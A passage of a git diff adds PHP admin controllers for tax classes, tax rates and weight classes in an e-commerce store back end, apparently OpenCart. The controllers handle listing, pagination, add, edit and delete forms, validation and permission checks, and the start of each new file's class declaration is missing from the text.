+ $this->response->redirect($this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/tax_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/tax_class/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['tax_classes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $tax_class_total = $this->model_localisation_tax_class->getTotalTaxClasses();
+
+ $results = $this->model_localisation_tax_class->getTaxClasses($filter_data);
+
+ foreach ($results as $result) {
+ $data['tax_classes'][] = array(
+ 'tax_class_id' => $result['tax_class_id'],
+ 'title' => $result['title'],
+ 'edit' => $this->url->link('localisation/tax_class/edit', 'user_token=' . $this->session->data['user_token'] . '&tax_class_id=' . $result['tax_class_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . '&sort=title' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $tax_class_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($tax_class_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($tax_class_total - $this->config->get('config_limit_admin'))) ? $tax_class_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $tax_class_total, ceil($tax_class_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/tax_class_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['tax_class_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = '';
+ }
+
+ if (isset($this->error['description'])) {
+ $data['error_description'] = $this->error['description'];
+ } else {
+ $data['error_description'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['tax_class_id'])) {
+ $data['action'] = $this->url->link('localisation/tax_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/tax_class/edit', 'user_token=' . $this->session->data['user_token'] . '&tax_class_id=' . $this->request->get['tax_class_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/tax_class', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['tax_class_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $tax_class_info = $this->model_localisation_tax_class->getTaxClass($this->request->get['tax_class_id']);
+ }
+
+ if (isset($this->request->post['title'])) {
+ $data['title'] = $this->request->post['title'];
+ } elseif (!empty($tax_class_info)) {
+ $data['title'] = $tax_class_info['title'];
+ } else {
+ $data['title'] = '';
+ }
+
+ if (isset($this->request->post['description'])) {
+ $data['description'] = $this->request->post['description'];
+ } elseif (!empty($tax_class_info)) {
+ $data['description'] = $tax_class_info['description'];
+ } else {
+ $data['description'] = '';
+ }
+
+ $this->load->model('localisation/tax_rate');
+
+ $data['tax_rates'] = $this->model_localisation_tax_rate->getTaxRates();
+
+ if (isset($this->request->post['tax_rule'])) {
+ $data['tax_rules'] = $this->request->post['tax_rule'];
+ } elseif (isset($this->request->get['tax_class_id'])) {
+ $data['tax_rules'] = $this->model_localisation_tax_class->getTaxRules($this->request->get['tax_class_id']);
+ } else {
+ $data['tax_rules'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/tax_class_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/tax_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['title']) < 3) || (utf8_strlen($this->request->post['title']) > 32)) {
+ $this->error['title'] = $this->language->get('error_title');
+ }
+
+ if ((utf8_strlen($this->request->post['description']) < 3) || (utf8_strlen($this->request->post['description']) > 255)) {
+ $this->error['description'] = $this->language->get('error_description');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/tax_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $tax_class_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByTaxClassId($tax_class_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/localisation/tax_rate.php b/public/admin/controller/localisation/tax_rate.php
new file mode 100644
index 0000000..1b42a62
--- /dev/null
+++ b/public/admin/controller/localisation/tax_rate.php
@@ -0,0 +1,403 @@
+load->language('localisation/tax_rate');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_rate');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/tax_rate');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_rate');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_tax_rate->addTaxRate($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/tax_rate');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_rate');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_tax_rate->editTaxRate($this->request->get['tax_rate_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/tax_rate');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/tax_rate');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $tax_rate_id) {
+ $this->model_localisation_tax_rate->deleteTaxRate($tax_rate_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'tr.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/tax_rate/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/tax_rate/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['tax_rates'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $tax_rate_total = $this->model_localisation_tax_rate->getTotalTaxRates();
+
+ $results = $this->model_localisation_tax_rate->getTaxRates($filter_data);
+
+ foreach ($results as $result) {
+ $data['tax_rates'][] = array(
+ 'tax_rate_id' => $result['tax_rate_id'],
+ 'name' => $result['name'],
+ 'rate' => $result['rate'],
+ 'type' => ($result['type'] == 'F' ? $this->language->get('text_amount') : $this->language->get('text_percent')),
+ 'geo_zone' => $result['geo_zone'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'edit' => $this->url->link('localisation/tax_rate/edit', 'user_token=' . $this->session->data['user_token'] . '&tax_rate_id=' . $result['tax_rate_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.name' . $url, true);
+ $data['sort_rate'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.rate' . $url, true);
+ $data['sort_type'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.type' . $url, true);
+ $data['sort_geo_zone'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=gz.name' . $url, true);
+ $data['sort_date_added'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.date_added' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . '&sort=tr.date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $tax_rate_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($tax_rate_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($tax_rate_total - $this->config->get('config_limit_admin'))) ? $tax_rate_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $tax_rate_total, ceil($tax_rate_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/tax_rate_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['tax_rate_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['rate'])) {
+ $data['error_rate'] = $this->error['rate'];
+ } else {
+ $data['error_rate'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['tax_rate_id'])) {
+ $data['action'] = $this->url->link('localisation/tax_rate/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/tax_rate/edit', 'user_token=' . $this->session->data['user_token'] . '&tax_rate_id=' . $this->request->get['tax_rate_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/tax_rate', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['tax_rate_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $tax_rate_info = $this->model_localisation_tax_rate->getTaxRate($this->request->get['tax_rate_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($tax_rate_info)) {
+ $data['name'] = $tax_rate_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['rate'])) {
+ $data['rate'] = $this->request->post['rate'];
+ } elseif (!empty($tax_rate_info)) {
+ $data['rate'] = $tax_rate_info['rate'];
+ } else {
+ $data['rate'] = '';
+ }
+
+ if (isset($this->request->post['type'])) {
+ $data['type'] = $this->request->post['type'];
+ } elseif (!empty($tax_rate_info)) {
+ $data['type'] = $tax_rate_info['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ if (isset($this->request->post['tax_rate_customer_group'])) {
+ $data['tax_rate_customer_group'] = $this->request->post['tax_rate_customer_group'];
+ } elseif (isset($this->request->get['tax_rate_id'])) {
+ $data['tax_rate_customer_group'] = $this->model_localisation_tax_rate->getTaxRateCustomerGroups($this->request->get['tax_rate_id']);
+ } else {
+ $data['tax_rate_customer_group'] = array($this->config->get('config_customer_group_id'));
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['geo_zone_id'])) {
+ $data['geo_zone_id'] = $this->request->post['geo_zone_id'];
+ } elseif (!empty($tax_rate_info)) {
+ $data['geo_zone_id'] = $tax_rate_info['geo_zone_id'];
+ } else {
+ $data['geo_zone_id'] = '';
+ }
+
+ $this->load->model('localisation/geo_zone');
+
+ $data['geo_zones'] = $this->model_localisation_geo_zone->getGeoZones();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/tax_rate_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/tax_rate')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['rate']) {
+ $this->error['rate'] = $this->language->get('error_rate');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/tax_rate')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ foreach ($this->request->post['selected'] as $tax_rate_id) {
+ $tax_rule_total = $this->model_localisation_tax_class->getTotalTaxRulesByTaxRateId($tax_rate_id);
+
+ if ($tax_rule_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_tax_rule'), $tax_rule_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/weight_class.php b/public/admin/controller/localisation/weight_class.php
new file mode 100644
index 0000000..2d80fbf
--- /dev/null
+++ b/public/admin/controller/localisation/weight_class.php
@@ -0,0 +1,375 @@
+load->language('localisation/weight_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/weight_class');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/weight_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/weight_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_weight_class->addWeightClass($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/weight_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/weight_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_weight_class->editWeightClass($this->request->get['weight_class_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/weight_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/weight_class');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $weight_class_id) {
+ $this->model_localisation_weight_class->deleteWeightClass($weight_class_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/weight_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/weight_class/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['weight_classes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $weight_class_total = $this->model_localisation_weight_class->getTotalWeightClasses();
+
+ $results = $this->model_localisation_weight_class->getWeightClasses($filter_data);
+
+ foreach ($results as $result) {
+ $data['weight_classes'][] = array(
+ 'weight_class_id' => $result['weight_class_id'],
+ 'title' => $result['title'] . (($result['weight_class_id'] == $this->config->get('config_weight_class_id')) ? $this->language->get('text_default') : null),
+ 'unit' => $result['unit'],
+ 'value' => $result['value'],
+ 'edit' => $this->url->link('localisation/weight_class/edit', 'user_token=' . $this->session->data['user_token'] . '&weight_class_id=' . $result['weight_class_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . '&sort=title' . $url, true);
+ $data['sort_unit'] = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . '&sort=unit' . $url, true);
+ $data['sort_value'] = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . '&sort=value' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $weight_class_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($weight_class_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($weight_class_total - $this->config->get('config_limit_admin'))) ? $weight_class_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $weight_class_total, ceil($weight_class_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/weight_class_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['weight_class_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = array();
+ }
+
+ if (isset($this->error['unit'])) {
+ $data['error_unit'] = $this->error['unit'];
+ } else {
+ $data['error_unit'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['weight_class_id'])) {
+ $data['action'] = $this->url->link('localisation/weight_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/weight_class/edit', 'user_token=' . $this->session->data['user_token'] . '&weight_class_id=' . $this->request->get['weight_class_id'] . $url, true);
+ }
+
